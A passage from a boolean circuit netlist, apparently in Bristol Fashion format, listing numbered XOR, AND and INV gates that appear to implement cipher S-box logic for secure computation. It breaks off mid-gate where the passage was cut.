6331 6327 XOR +2 1 33631 33633 6239 XOR +2 1 6239 6333 6325 XOR +2 1 33630 6325 6324 XOR +2 1 33631 33632 6256 XOR +2 1 6256 6328 6326 XOR +2 1 6333 6256 6329 XOR +2 1 33632 6239 6241 XOR +2 1 33636 6241 6322 XOR +2 1 6246 6241 6321 XOR +2 1 33635 6241 6319 XOR +2 1 6239 6202 6323 XOR +2 1 5810 5811 5809 XOR +1 1 5809 34968 INV +2 1 35047 5808 34969 XOR +2 1 34969 277 33616 XOR +2 1 33616 33618 18122 XOR +2 1 18027 18122 18107 XOR +2 1 33617 33616 18003 XOR +2 1 33621 33616 18119 XOR +2 1 18122 18107 18098 AND +2 1 6326 6324 6317 AND +2 1 6311 6317 6263 XOR +2 1 34968 278 33615 XOR +2 1 33615 33617 18026 XOR +2 1 33616 18026 18028 XOR +2 1 33620 18028 18109 XOR +2 1 33619 18028 18106 XOR +2 1 18033 18028 18108 XOR +2 1 33615 18118 18114 XOR +2 1 18026 18120 18112 XOR +2 1 33614 18112 18111 XOR +2 1 33615 33616 18043 XOR +2 1 18043 18115 18113 XOR +2 1 18120 18043 18116 XOR +2 1 18026 17989 18110 XOR +2 1 33621 33615 18121 XOR +2 1 18112 18116 18105 AND +2 1 18105 18029 18032 XOR +2 1 18113 18111 18104 AND +2 1 18098 18104 18050 XOR +2 1 18121 18106 18102 AND +2 1 18102 18027 18031 XOR +2 1 18118 18114 18101 AND +2 1 18115 18108 18100 AND +2 1 18120 18109 18099 AND +2 1 18099 18028 18030 XOR +2 1 18032 18030 18036 XOR +2 1 33621 18036 18041 XOR +2 1 18050 18041 18096 XOR +2 1 18098 18099 18002 XOR +2 1 18002 18003 18049 XOR +2 1 18049 18031 18048 XOR +2 1 18101 18048 18095 XOR +2 1 18119 18110 18097 AND +2 1 18097 18100 18051 XOR +2 1 18097 18103 18055 XOR +2 1 18055 18027 18042 XOR +2 1 18050 18042 18093 XOR +2 1 18098 18051 18045 XOR +2 1 18031 18051 18005 XOR +2 1 18005 18030 18094 XOR +2 1 18036 18055 18004 XOR +2 1 33619 18004 18047 XOR +2 1 18101 18045 18001 XOR +2 1 33615 18001 18088 XOR +2 1 18096 18095 18092 AND +2 1 18092 18047 18087 XOR +2 1 18092 18094 18091 XOR +2 1 18093 18091 18090 AND +2 1 18090 18047 18089 XOR +2 1 18090 18102 17996 XOR +2 1 17996 18032 17992 XOR +2 1 33621 17992 17995 XOR +2 1 18090 18041 17993 XOR +2 1 33619 17992 17991 XOR +2 1 18087 18088 18086 AND +2 1 18086 18094 18085 XOR +2 1 18092 18086 18084 XOR +2 1 18086 18045 18000 XOR +2 1 18086 18103 17999 XOR +2 1 17999 18100 17994 XOR +2 1 17994 17995 18077 XOR +2 1 18094 18084 18083 AND +2 1 18083 18091 18081 XOR +2 1 18083 18101 18054 XOR +2 1 18054 18048 18075 XOR +2 1 33615 18054 18037 XOR +2 1 18037 18000 18082 XOR +2 1 18089 18081 18080 AND +2 1 18080 18050 18040 XOR +2 1 18040 18042 18079 XOR +2 1 18080 18104 17998 XOR +2 1 18037 17998 17990 XOR +2 1 18027 17990 17997 XOR +2 1 17994 17997 18078 XOR +2 1 18040 17993 18076 XOR +2 1 17990 17991 18074 XOR +2 1 18075 18112 18073 AND +2 1 18082 18111 18072 AND +2 1 18085 33614 18071 AND +2 1 18071 18073 18053 XOR +2 1 18076 18106 18070 AND +2 1 18079 18118 18069 AND +2 1 18089 18108 18068 AND +2 1 18068 18069 18007 XOR +2 1 18077 18109 18067 AND +2 1 18074 18107 18066 AND +2 1 18066 18069 18022 XOR +1 1 18022 18019 INV +2 1 18066 18067 18018 XOR +2 1 18078 18110 18065 AND +2 1 18075 18116 18064 AND +2 1 18082 18113 18063 AND +2 1 18085 18117 18062 AND +2 1 18076 18121 18061 AND +2 1 18061 18065 18038 XOR +2 1 18070 18061 18023 XOR +1 1 18038 18016 INV +2 1 18079 18114 18060 AND +2 1 18068 18060 18025 XOR +2 1 18089 18115 18059 AND +2 1 18016 18059 18015 XOR +2 1 18015 18053 18011 XOR +2 1 18077 18120 18058 AND +2 1 18058 18011 18014 XOR +2 1 18074 18122 18057 AND +2 1 18057 18058 18052 XOR +2 1 18063 18052 18034 XOR +2 1 18064 18034 18035 XOR +2 1 18072 18035 18039 XOR +2 1 18073 18039 18044 XOR +2 1 18025 18052 18021 XOR +2 1 18053 18021 18024 XOR +2 1 18023 18024 18126 XOR +2 1 18016 18021 18020 XOR +2 1 18019 18020 18125 XOR +2 1 32908 18125 6479 XOR +2 1 18044 18018 18124 XOR +2 1 18034 18011 18010 XOR +2 1 18071 18039 18008 XOR +2 1 18007 18008 35218 XOR +1 1 35218 6351 INV +2 1 35222 6351 6363 XOR +2 1 18078 18119 18056 AND +2 1 18067 18056 18017 XOR +1 1 18017 18013 INV +2 1 18013 18014 18123 XOR +1 1 18125 35216 INV +2 1 35230 35235 6641 XOR +1 1 6641 6408 INV +2 1 33637 33631 6334 XOR +2 1 6334 6319 6315 AND +2 1 6315 6240 6244 XOR +2 1 6325 6329 6318 AND +2 1 6318 6242 6245 XOR +2 1 6331 6327 6314 AND +2 1 6328 6321 6313 AND +2 1 6333 6322 6312 AND +2 1 6311 6312 6215 XOR +2 1 6215 6216 6262 XOR +2 1 6312 6241 6243 XOR +2 1 6245 6243 6249 XOR +2 1 33637 6249 6254 XOR +2 1 6263 6254 6309 XOR +2 1 6262 6244 6261 XOR +2 1 6314 6261 6308 XOR +2 1 6309 6308 6305 AND +2 1 6332 6323 6310 AND +2 1 6310 6316 6268 XOR +2 1 6249 6268 6217 XOR +2 1 33635 6217 6260 XOR +2 1 6305 6260 6300 XOR +2 1 6268 6240 6255 XOR +2 1 6263 6255 6306 XOR +2 1 6310 6313 6264 XOR +2 1 6311 6264 6258 XOR +2 1 6314 6258 6214 XOR +2 1 33631 6214 6301 XOR +2 1 6244 6264 6218 XOR +2 1 6218 6243 6307 XOR +2 1 6305 6307 6304 XOR +2 1 6306 6304 6303 AND +2 1 6303 6254 6206 XOR +2 1 6303 6315 6209 XOR +2 1 6209 6245 6205 XOR +2 1 33635 6205 6204 XOR +2 1 33637 6205 6208 XOR +2 1 6303 6260 6302 XOR +2 1 6302 6321 6281 AND +2 1 6302 6328 6272 AND +2 1 6300 6301 6299 AND +2 1 6299 6307 6298 XOR +2 1 6299 6258 6213 XOR +2 1 6299 6316 6212 XOR +2 1 6212 6313 6207 XOR +2 1 6305 6299 6297 XOR +2 1 6207 6208 6290 XOR +2 1 6290 6333 6271 AND +2 1 6290 6322 6280 AND +2 1 6307 6297 6296 AND +2 1 6296 6314 6267 XOR +2 1 33631 6267 6250 XOR +2 1 6250 6213 6295 XOR +2 1 6267 6261 6288 XOR +2 1 6296 6304 6294 XOR +2 1 6295 6326 6276 AND +2 1 6302 6294 6293 AND +2 1 6293 6263 6253 XOR +2 1 6293 6317 6211 XOR +2 1 6250 6211 6203 XOR +2 1 6253 6206 6289 XOR +2 1 6240 6203 6210 XOR +2 1 6207 6210 6291 XOR +2 1 6253 6255 6292 XOR +2 1 6203 6204 6287 XOR +2 1 6289 6319 6283 AND +2 1 6292 6331 6282 AND +2 1 6281 6282 6220 XOR +2 1 6289 6334 6274 AND +2 1 6283 6274 6236 XOR +2 1 6292 6327 6273 AND +2 1 6281 6273 6238 XOR +2 1 6291 6332 6269 AND +2 1 6280 6269 6230 XOR +1 1 6230 6226 INV +2 1 6288 6325 6286 AND +2 1 6295 6324 6285 AND +2 1 6287 6335 6270 AND +2 1 6270 6271 6265 XOR +2 1 6276 6265 6247 XOR +2 1 6238 6265 6234 XOR +2 1 6288 6329 6277 AND +2 1 6277 6247 6248 XOR +2 1 6285 6248 6252 XOR +2 1 6286 6252 6257 XOR +2 1 6287 6320 6279 AND +2 1 6279 6280 6231 XOR +2 1 6279 6282 6235 XOR +1 1 6235 6232 INV +2 1 6257 6231 6337 XOR +2 1 6291 6323 6278 AND +2 1 6274 6278 6251 XOR +1 1 6251 6229 INV +2 1 6229 6234 6233 XOR +2 1 6232 6233 6338 XOR +2 1 6229 6272 6228 XOR +2 1 6298 33630 6284 AND +2 1 6284 6286 6266 XOR +2 1 6228 6266 6224 XOR +2 1 6247 6224 6223 XOR +2 1 6271 6224 6227 XOR +2 1 6266 6234 6237 XOR +2 1 6236 6237 6339 XOR +2 1 6226 6227 6336 XOR +2 1 6284 6252 6221 XOR +2 1 6220 6221 35262 XOR +2 1 6298 6330 6275 AND +2 1 6282 6283 32654 XOR +2 1 6279 32654 6259 XOR +2 1 6280 6259 6219 XOR +2 1 6248 6219 35264 XOR +2 1 6275 6259 6225 XOR +1 1 6225 6222 INV +2 1 6222 6223 35261 XOR +2 1 35262 35261 6357 XOR +2 1 32654 6257 35263 XOR +2 1 14733 14734 32659 XOR +2 1 32659 14708 35205 XOR +2 1 14730 32659 14710 XOR +2 1 14726 14710 14676 XOR +1 1 14676 14673 INV +2 1 14673 14674 35203 XOR +2 1 14731 14710 14670 XOR +2 1 14699 14670 35206 XOR +1 1 35203 6391 INV +2 1 32904 6391 6569 XOR +2 1 35204 6391 6390 XOR +2 1 18069 18070 32683 XOR +2 1 18066 32683 18046 XOR +2 1 18062 18046 18012 XOR +1 1 18012 18009 INV +2 1 18067 18046 18006 XOR +2 1 18035 18006 35220 XOR +2 1 35220 35224 6599 XOR +1 1 6599 6364 INV +2 1 6599 35226 6360 XOR +2 1 6364 35227 6362 XOR +2 1 6362 6363 6673 XOR +2 1 18009 18010 35217 XOR +2 1 35221 35217 6361 XOR +2 1 6599 33025 6358 XOR +2 1 6360 6361 6674 XOR +2 1 32683 18044 35219 XOR +2 1 6461 35219 6476 XOR +2 1 19876 19877 32696 XOR +2 1 19873 32696 19853 XOR +2 1 19874 19853 19813 XOR +2 1 19869 19853 19819 XOR +2 1 19842 19813 35232 XOR +1 1 19819 19816 INV +2 1 35232 35239 6593 XOR +2 1 19816 19817 35229 XOR +2 1 6370 35229 6369 XOR +2 1 35229 35234 6648 XOR +1 1 6648 6424 INV +2 1 32696 19851 35231 XOR +2 1 16872 35231 6449 XOR +2 1 35231 35236 6633 XOR +1 1 6633 6405 INV +1 1 6336 32783 INV +1 1 6337 32784 INV +1 1 6338 32785 INV +2 1 32785 35253 6398 XOR +1 1 6339 32786 INV +2 1 32786 32947 6355 XOR +1 1 14787 32894 INV +1 1 14788 32895 INV +1 1 14790 32896 INV +2 1 32904 32896 6388 XOR +1 1 18123 32941 INV +1 1 18124 32942 INV +2 1 32942 32941 6474 XOR +2 1 6591 32942 6482 XOR +2 1 32942 32907 6609 XOR +2 1 6609 33032 6501 XOR +2 1 6609 6607 6457 XOR +1 1 18126 32943 INV +2 1 32901 32943 6359 XOR +2 1 6358 6359 6675 XOR +1 1 19931 32969 INV +2 1 35239 32969 6441 XOR +2 1 32969 35238 6619 XOR +1 1 19932 32970 INV +2 1 6377 32970 6452 XOR +2 1 32970 35233 6655 XOR +1 1 19933 32971 INV +2 1 16874 32971 6366 XOR +2 1 32971 32926 6656 XOR +2 1 6656 6597 6425 XOR +1 1 19930 32976 INV +2 1 16873 32976 6444 XOR +2 1 32976 35237 6626 XOR +1 1 6593 33227 INV +2 1 33227 35230 6434 XOR +2 1 33227 32970 6438 XOR +2 1 33227 35231 6432 XOR +1 1 5043 33238 INV +2 1 33238 32920 5222 XOR +2 1 33238 34840 5230 XOR +2 1 5223 5222 34751 XOR +2 1 34751 422 33471 XOR +2 1 5231 5230 34754 XOR +2 1 34754 419 33474 XOR +2 1 33474 33476 20809 XOR +2 1 33471 20898 20894 XOR +2 1 33474 33477 20900 XOR +2 1 33471 33472 20823 XOR +2 1 20823 20895 20893 XOR +2 1 20900 20823 20896 XOR +2 1 33472 33474 20902 XOR +2 1 20807 20902 20887 XOR +2 1 20809 20807 20769 XOR +2 1 20809 33475 20768 XOR +2 1 33470 20768 20897 XOR +2 1 33477 33471 20901 XOR +2 1 20897 33470 20883 AND +2 1 20898 20894 20881 AND +2 1 20902 20887 20878 AND +2 1 33238 34839 5227 XOR +2 1 5228 5227 34753 XOR +2 1 34753 420 33473 XOR +2 1 33471 33473 20806 XOR +2 1 33472 20806 20808 XOR +2 1 33476 20808 20889 XOR +2 1 33475 20808 20886 XOR +2 1 20813 20808 20888 XOR +2 1 20806 20900 20892 XOR +2 1 33470 20892 20891 XOR +2 1 33473 33472 20783 XOR +2 1 20806 20769 20890 XOR +2 1 20892 20896 20885 AND +2 1 20885 20809 20812 XOR +2 1 20893 20891 20884 AND +2 1 20878 20884 20830 XOR +2 1 20901 20886 20882 AND +2 1 20882 20807 20811 XOR +2 1 20895 20888 20880 AND +2 1 20900 20889 20879 AND +2 1 20879 20808 20810 XOR +2 1 20812 20810 20816 XOR +2 1 33477 20816 20821 XOR +2 1 20830 20821 20876 XOR +2 1 20878 20879 20782 XOR +2 1 20782 20783 20829 XOR +2 1 20829 20811 20828 XOR +2 1 20881 20828 20875 XOR +2 1 20899 20890 20877 AND +2 1 20877 20880 20831 XOR +2 1 20877 20883 20835 XOR +2 1 20835 20807 20822 XOR +2 1 20830 20822 20873 XOR +2 1 20878 20831 20825 XOR +2 1 20811 20831 20785 XOR +2 1 20785 20810 20874 XOR +2 1 20816 20835 20784 XOR +2 1 33475 20784 20827 XOR +2 1 20881 20825 20781 XOR +2 1 33471 20781 20868 XOR +2 1 20876 20875 20872 AND +2 1 20872 20827 20867 XOR +2 1 20872 20874 20871 XOR +2 1 20873 20871 20870 AND +2 1 20870 20827 20869 XOR +2 1 20870 20882 20776 XOR +2 1 20776 20812 20772 XOR +2 1 33477 20772 20775 XOR +2 1 20870 20821 20773 XOR +2 1 33475 20772 20771 XOR +2 1 20867 20868 20866 AND +2 1 20866 20874 20865 XOR +2 1 20872 20866 20864 XOR +2 1 20866 20825 20780 XOR +2 1 20866 20883 20779 XOR +2 1 20779 20880 20774 XOR +2 1 20774 20775 20857 XOR +2 1 20874 20864 20863 AND +2 1 20863 20871 20861 XOR +2 1 20863 20881 20834 XOR +2 1 20834 20828 20855 XOR +2 1 33471 20834 20817 XOR +2 1 20817 20780 20862 XOR +2 1 20869 20861 20860 AND +2 1 20860 20830 20820 XOR +2 1 20820 20822 20859 XOR +2 1 20860 20884 20778 XOR +2 1 20817 20778 20770 XOR +2 1 20807 20770 20777 XOR +2 1 20774 20777 20858 XOR +2 1 20820 20773 20856 XOR +2 1 20770 20771 20854 XOR +2 1 20855 20892 20853 AND +2 1 20862 20891 20852 AND +2 1 20865 33470 20851 AND +2 1 20851 20853 20833 XOR +2 1 20856 20886 20850 AND +2 1 20859 20898 20849 AND +2 1 20869 20888 20848 AND +2 1 20848 20849 20787 XOR +2 1 20857 20889 20847 AND +2 1 20854 20887 20846 AND +2 1 20846 20849 20802 XOR +1 1 20802 20799 INV +2 1 20846 20847 20798 XOR +2 1 20858 20890 20845 AND +2 1 20855 20896 20844 AND +2 1 20862 20893 20843 AND +2 1 20865 20897 20842 AND +2 1 20856 20901 20841 AND +2 1 20841 20845 20818 XOR +2 1 20850 20841 20803 XOR +1 1 20818 20796 INV +2 1 20859 20894 20840 AND +2 1 20848 20840 20805 XOR +2 1 20869 20895 20839 AND +2 1 20796 20839 20795 XOR +2 1 20795 20833 20791 XOR +2 1 20857 20900 20838 AND +2 1 20838 20791 20794 XOR +2 1 20854 20902 20837 AND +2 1 20837 20838 20832 XOR +2 1 20843 20832 20814 XOR +2 1 20844 20814 20815 XOR +2 1 20852 20815 20819 XOR +2 1 20853 20819 20824 XOR +2 1 20805 20832 20801 XOR +2 1 20833 20801 20804 XOR +2 1 20803 20804 20906 XOR +2 1 20796 20801 20800 XOR +2 1 20799 20800 20905 XOR +2 1 20824 20798 20904 XOR +2 1 20814 20791 20790 XOR +2 1 20851 20819 20788 XOR +2 1 20787 20788 35044 XOR +2 1 35040 35044 5864 XOR +2 1 5658 5864 5667 XOR +2 1 5639 5864 5637 XOR +2 1 5612 35044 5609 XOR +2 1 5667 5668 34938 XOR +2 1 34938 308 33585 XOR +2 1 5609 5610 5902 XOR +2 1 20858 20899 20836 AND +2 1 20847 20836 20797 XOR +1 1 20797 20793 INV +2 1 20793 20794 20903 XOR +2 1 5902 5875 34946 XOR +2 1 34946 300 33593 XOR +2 1 20849 20850 32703 XOR +2 1 32703 20824 35045 XOR +2 1 35041 35045 5855 XOR +2 1 5642 5855 5665 XOR +2 1 5665 5666 34939 XOR +2 1 34939 307 33586 XOR +2 1 5860 5855 5636 XOR +2 1 33014 5636 34956 XOR +2 1 34956 290 33603 XOR +2 1 5612 35045 5613 XOR +2 1 5613 5614 5901 XOR +2 1 5901 5867 34947 XOR +2 1 34947 299 33594 XOR +2 1 20846 32703 20826 XOR +2 1 20842 20826 20792 XOR +1 1 20792 20789 INV +2 1 20789 20790 35043 XOR +2 1 35039 35043 5874 XOR +2 1 5658 35043 5656 XOR +2 1 5656 5657 34945 XOR +2 1 34945 301 33592 XOR +2 1 5642 5874 5640 XOR +2 1 5889 5874 5669 XOR +2 1 35028 5669 34937 XOR +2 1 34937 309 33584 XOR +2 1 33584 33586 6057 XOR +2 1 33585 33584 5938 XOR +1 1 5874 5687 INV +2 1 20847 20826 20786 XOR +2 1 20815 20786 35046 XOR +2 1 35031 35046 5832 XOR +1 1 5832 5601 INV +2 1 5832 35044 5605 XOR +2 1 5605 5606 5904 XOR +2 1 5904 5855 34931 XOR +2 1 34931 315 33578 XOR +2 1 5601 35043 5602 XOR +2 1 5602 5603 5905 XOR +2 1 5905 5864 34930 XOR +2 1 34930 316 33577 XOR +2 1 33228 35046 5649 XOR +2 1 5649 5650 34950 XOR +2 1 34950 296 33597 XOR +2 1 35042 35046 5824 XOR +2 1 5853 5824 5662 XOR +2 1 35031 5662 34942 XOR +2 1 34942 304 33589 XOR +2 1 33586 33589 6055 XOR +2 1 33589 33584 6054 XOR +2 1 5890 5824 5648 XOR +2 1 33009 5648 34951 XOR +2 1 34951 295 33598 XOR +1 1 5824 5919 INV +2 1 5919 33016 5646 XOR +2 1 5919 35041 5638 XOR +2 1 5919 35040 5641 XOR +2 1 5640 5641 34954 XOR +2 1 34954 292 33601 XOR +2 1 5637 5638 34955 XOR +2 1 34955 291 33602 XOR +2 1 33594 33597 24521 XOR +2 1 33592 33594 24523 XOR +2 1 33593 33592 24403 XOR +2 1 33597 33592 24520 XOR +1 1 20903 32993 INV +2 1 5860 32993 5654 XOR +2 1 5654 5655 34948 XOR +2 1 34948 298 33595 XOR +2 1 33014 32993 5849 XOR +2 1 5867 5849 5664 XOR +2 1 33010 5664 34940 XOR +2 1 34940 306 33587 XOR +2 1 33587 33589 5962 XOR +2 1 5962 6057 6042 XOR +2 1 6057 6042 6033 AND +2 1 5849 35045 5684 XOR +1 1 5684 5682 INV +2 1 5682 5683 34932 XOR +2 1 34932 314 33579 XOR +2 1 5853 5849 5635 XOR +2 1 33015 5635 34957 XOR +2 1 34957 289 33604 XOR +2 1 33598 33604 6107 XOR +2 1 33602 33604 6103 XOR +2 1 6103 33603 6062 XOR +2 1 33598 6062 6191 XOR +2 1 6191 33598 6177 AND +2 1 33603 6107 6192 XOR +2 1 33595 33597 24427 XOR +2 1 24427 24523 24508 XOR +2 1 24523 24508 24499 AND +1 1 20904 32994 INV +2 1 5824 32994 5674 XOR +2 1 5853 32994 5653 XOR +1 1 5653 5651 INV +2 1 5674 5675 34934 XOR +2 1 34934 312 33581 XOR +2 1 33579 33581 14830 XOR +2 1 33578 33581 14923 XOR +2 1 5651 5652 34949 XOR +2 1 34949 297 33596 XOR +2 1 33015 32994 5838 XOR +2 1 5838 32993 5677 XOR +2 1 5677 5678 5676 XOR +1 1 5676 34933 INV +2 1 34933 313 33580 XOR +2 1 33578 33580 14832 XOR +2 1 14832 14830 14792 XOR +2 1 14832 33579 14791 XOR +2 1 5838 5827 5634 XOR +2 1 35042 5634 34958 XOR +2 1 5860 5838 5663 XOR +2 1 33011 5663 34941 XOR +2 1 34941 305 33588 XOR +2 1 33586 33588 5964 XOR +2 1 5964 5962 5924 XOR +2 1 5964 33587 5923 XOR +2 1 34958 288 33605 XOR +2 1 33602 33605 6194 XOR +2 1 33603 33605 6101 XOR +2 1 6103 6101 6063 XOR +2 1 6101 6107 6189 XOR +2 1 33594 33596 24429 XOR +2 1 24429 24427 24389 XOR +2 1 24429 33595 24388 XOR +1 1 20905 32995 INV +2 1 5831 32995 5607 XOR +2 1 5607 5608 5903 XOR +2 1 33016 32995 5878 XOR +2 1 5882 5878 5643 XOR +2 1 5890 5878 5671 XOR +2 1 5671 5672 5670 XOR +1 1 5670 34936 INV +2 1 34936 310 33583 XOR +2 1 33583 33585 5961 XOR +2 1 33584 5961 5963 XOR +2 1 33587 5963 6041 XOR +2 1 5961 6055 6047 XOR +2 1 33583 33584 5978 XOR +2 1 6055 5978 6051 XOR +2 1 33589 33583 6056 XOR +2 1 6056 6041 6037 AND +2 1 6037 5962 5966 XOR +2 1 5961 5924 6045 XOR +2 1 6054 6045 6032 AND +2 1 6047 6051 6040 AND +2 1 6040 5964 5967 XOR +2 1 5687 32995 5685 XOR +2 1 5685 5686 34929 XOR +2 1 34929 317 33576 XOR +2 1 33576 33578 14925 XOR +2 1 14830 14925 14910 XOR +2 1 33577 33576 14806 XOR +2 1 33581 33576 14922 XOR +2 1 14925 14910 14901 AND +2 1 35039 5643 34953 XOR +2 1 5903 5889 34944 XOR +2 1 34944 302 33591 XOR +2 1 33591 33593 24426 XOR +2 1 33592 24426 24428 XOR +2 1 33596 24428 24510 XOR +2 1 33595 24428 24507 XOR +2 1 24426 24521 24513 XOR +2 1 33591 33592 24443 XOR +2 1 24521 24443 24517 XOR +2 1 24426 24389 24511 XOR +2 1 33597 33591 24522 XOR +2 1 24513 24517 24506 AND +2 1 24506 24429 24432 XOR +2 1 24522 24507 24503 AND +2 1 24503 24427 24431 XOR +2 1 24521 24510 24500 AND +2 1 24500 24428 24430 XOR +2 1 24432 24430 24436 XOR +2 1 33597 24436 24441 XOR +2 1 24499 24500 24402 XOR +2 1 24402 24403 24449 XOR +2 1 24449 24431 24448 XOR +2 1 24520 24511 24498 AND +2 1 34953 293 33600 XOR +2 1 33601 33600 6077 XOR +2 1 33605 33600 6193 XOR +2 1 33600 33602 6196 XOR +2 1 6101 6196 6181 XOR +2 1 6196 6181 6172 AND +2 1 33588 5963 6044 XOR +2 1 6055 6044 6034 AND +2 1 6034 5963 5965 XOR +2 1 6033 6034 5937 XOR +2 1 5937 5938 5984 XOR +2 1 5984 5966 5983 XOR +2 1 5967 5965 5971 XOR +2 1 33589 5971 5976 XOR +1 1 20906 32996 INV +2 1 32996 5659 34943 XOR +2 1 34943 303 33590 XOR +2 1 33009 32996 5886 XOR +2 1 5886 5827 5673 XOR +2 1 5886 5832 5688 XOR +2 1 33005 5673 34935 XOR +2 1 34935 311 33582 XOR +2 1 33582 6047 6046 XOR +2 1 33582 33588 5968 XOR +2 1 5968 5963 6043 XOR +2 1 5962 5968 6050 XOR +2 1 33582 5923 6052 XOR +2 1 5978 6050 6048 XOR +2 1 6048 6046 6039 AND +2 1 6033 6039 5985 XOR +2 1 5985 5976 6031 XOR +2 1 33587 5968 6053 XOR +2 1 33583 6053 6049 XOR +2 1 6053 6049 6036 AND +2 1 6036 5983 6030 XOR +2 1 6031 6030 6027 AND +2 1 6052 33582 6038 AND +2 1 6050 6043 6035 AND +2 1 6032 6035 5986 XOR +2 1 6033 5986 5980 XOR +2 1 6036 5980 5936 XOR +2 1 5966 5986 5940 XOR +2 1 5940 5965 6029 XOR +2 1 6027 6029 6026 XOR +2 1 33583 5936 6023 XOR +2 1 33068 5688 34927 XOR +2 1 34927 319 33574 XOR +2 1 33574 33580 14836 XOR +2 1 14830 14836 14918 XOR +2 1 33579 14836 14921 XOR +2 1 33574 14791 14920 XOR +2 1 14920 33574 14906 AND +2 1 5889 5886 5647 XOR +1 1 5647 5645 INV +2 1 5645 5646 34952 XOR +2 1 5601 32996 5599 XOR +2 1 5599 5600 5906 XOR +2 1 5906 5878 34928 XOR +2 1 34928 318 33575 XOR +2 1 33575 33577 14829 XOR +2 1 33576 14829 14831 XOR +2 1 33580 14831 14912 XOR +2 1 33579 14831 14909 XOR +2 1 14836 14831 14911 XOR +2 1 33575 14921 14917 XOR +2 1 14829 14923 14915 XOR +2 1 33574 14915 14914 XOR +2 1 33575 33576 14846 XOR +2 1 14846 14918 14916 XOR +2 1 14923 14846 14919 XOR +2 1 14829 14792 14913 XOR +2 1 33581 33575 14924 XOR +2 1 14915 14919 14908 AND +2 1 14908 14832 14835 XOR +2 1 14916 14914 14907 AND +2 1 14901 14907 14853 XOR +2 1 14924 14909 14905 AND +2 1 14905 14830 14834 XOR +2 1 14921 14917 14904 AND +2 1 14918 14911 14903 AND +2 1 14923 14912 14902 AND +2 1 14902 14831 14833 XOR +2 1 14835 14833 14839 XOR +2 1 33581 14839 14844 XOR +2 1 14853 14844 14899 XOR +2 1 14901 14902 14805 XOR +2 1 14805 14806 14852 XOR +2 1 14852 14834 14851 XOR +2 1 14904 14851 14898 XOR +2 1 14922 14913 14900 AND +2 1 14900 14903 14854 XOR +2 1 14900 14906 14858 XOR +2 1 14858 14830 14845 XOR +2 1 14853 14845 14896 XOR +2 1 14901 14854 14848 XOR +2 1 14834 14854 14808 XOR +2 1 14808 14833 14897 XOR +2 1 14839 14858 14807 XOR +2 1 33579 14807 14850 XOR +2 1 14904 14848 14804 XOR +2 1 33575 14804 14891 XOR +2 1 14899 14898 14895 AND +2 1 14895 14850 14890 XOR +2 1 14895 14897 14894 XOR +2 1 14896 14894 14893 AND +2 1 14893 14850 14892 XOR +2 1 14893 14905 14799 XOR +2 1 14799 14835 14795 XOR +2 1 33581 14795 14798 XOR +2 1 14893 14844 14796 XOR +2 1 33579 14795 14794 XOR +2 1 14890 14891 14889 AND +2 1 14889 14897 14888 XOR +2 1 14895 14889 14887 XOR +2 1 14889 14848 14803 XOR +2 1 14889 14906 14802 XOR +2 1 14802 14903 14797 XOR +2 1 14797 14798 14880 XOR +2 1 14897 14887 14886 AND +2 1 14886 14894 14884 XOR +2 1 14886 14904 14857 XOR +2 1 14857 14851 14878 XOR +2 1 33575 14857 14840 XOR +2 1 14840 14803 14885 XOR +2 1 14892 14884 14883 AND +2 1 14883 14853 14843 XOR +2 1 14843 14845 14882 XOR +2 1 14883 14907 14801 XOR +2 1 14840 14801 14793 XOR +2 1 14830 14793 14800 XOR +2 1 14797 14800 14881 XOR +2 1 14843 14796 14879 XOR +2 1 14793 14794 14877 XOR +2 1 14878 14915 14876 AND +2 1 14885 14914 14875 AND +2 1 14888 33574 14874 AND +2 1 14874 14876 14856 XOR +2 1 14879 14909 14873 AND +2 1 14882 14921 14872 AND +2 1 14892 14911 14871 AND +2 1 14871 14872 14810 XOR +2 1 14880 14912 14870 AND +2 1 14877 14910 14869 AND +2 1 14869 14872 14825 XOR +1 1 14825 14822 INV +2 1 14869 14870 14821 XOR +2 1 14881 14913 14868 AND +2 1 14878 14919 14867 AND +2 1 14885 14916 14866 AND +2 1 14888 14920 14865 AND +2 1 14879 14924 14864 AND +2 1 14864 14868 14841 XOR +2 1 14873 14864 14826 XOR +1 1 14841 14819 INV +2 1 14882 14917 14863 AND +2 1 14871 14863 14828 XOR +2 1 14892 14918 14862 AND +2 1 14819 14862 14818 XOR +2 1 14818 14856 14814 XOR +2 1 14880 14923 14861 AND +2 1 14861 14814 14817 XOR +2 1 14877 14925 14860 AND +2 1 14860 14861 14855 XOR +2 1 14866 14855 14837 XOR +2 1 14867 14837 14838 XOR +2 1 14875 14838 14842 XOR +2 1 14876 14842 14847 XOR +2 1 14828 14855 14824 XOR +2 1 14856 14824 14827 XOR +2 1 14826 14827 14929 XOR +2 1 14819 14824 14823 XOR +2 1 14822 14823 14928 XOR +2 1 14847 14821 14927 XOR +2 1 14837 14814 14813 XOR +2 1 14874 14842 14811 XOR +2 1 14810 14811 35213 XOR +2 1 35219 35213 6353 XOR +2 1 14881 14922 14859 AND +2 1 14870 14859 14820 XOR +1 1 14820 14816 INV +2 1 14816 14817 14926 XOR +2 1 34952 294 33599 XOR +2 1 33599 33601 6100 XOR +2 1 33600 6100 6102 XOR +2 1 6100 6194 6186 XOR +2 1 6107 6102 6182 XOR +2 1 6100 6063 6184 XOR +2 1 33605 33599 6195 XOR +2 1 33599 6192 6188 XOR +2 1 6192 6188 6175 AND +2 1 33599 33600 6117 XOR +2 1 6117 6189 6187 XOR +2 1 6194 6117 6190 XOR +2 1 6186 6190 6179 AND +2 1 6179 6103 6106 XOR +2 1 33604 6102 6183 XOR +2 1 33603 6102 6180 XOR +2 1 6195 6180 6176 AND +2 1 6176 6101 6105 XOR +2 1 33598 6186 6185 XOR +2 1 6187 6185 6178 AND +2 1 6172 6178 6124 XOR +2 1 6189 6182 6174 AND +2 1 6194 6183 6173 AND +2 1 6173 6102 6104 XOR +2 1 6106 6104 6110 XOR +2 1 33605 6110 6115 XOR +2 1 6124 6115 6170 XOR +2 1 6172 6173 6076 XOR +2 1 6076 6077 6123 XOR +2 1 6123 6105 6122 XOR +2 1 6175 6122 6169 XOR +2 1 6193 6184 6171 AND +2 1 6171 6174 6125 XOR +2 1 6172 6125 6119 XOR +2 1 6175 6119 6075 XOR +2 1 6171 6177 6129 XOR +2 1 6129 6101 6116 XOR +2 1 6124 6116 6167 XOR +2 1 6105 6125 6079 XOR +2 1 6079 6104 6168 XOR +2 1 6110 6129 6078 XOR +2 1 33603 6078 6121 XOR +2 1 33599 6075 6162 XOR +2 1 6170 6169 6166 AND +2 1 6166 6168 6165 XOR +2 1 6167 6165 6164 AND +2 1 6164 6176 6070 XOR +2 1 6070 6106 6066 XOR +2 1 33605 6066 6069 XOR +2 1 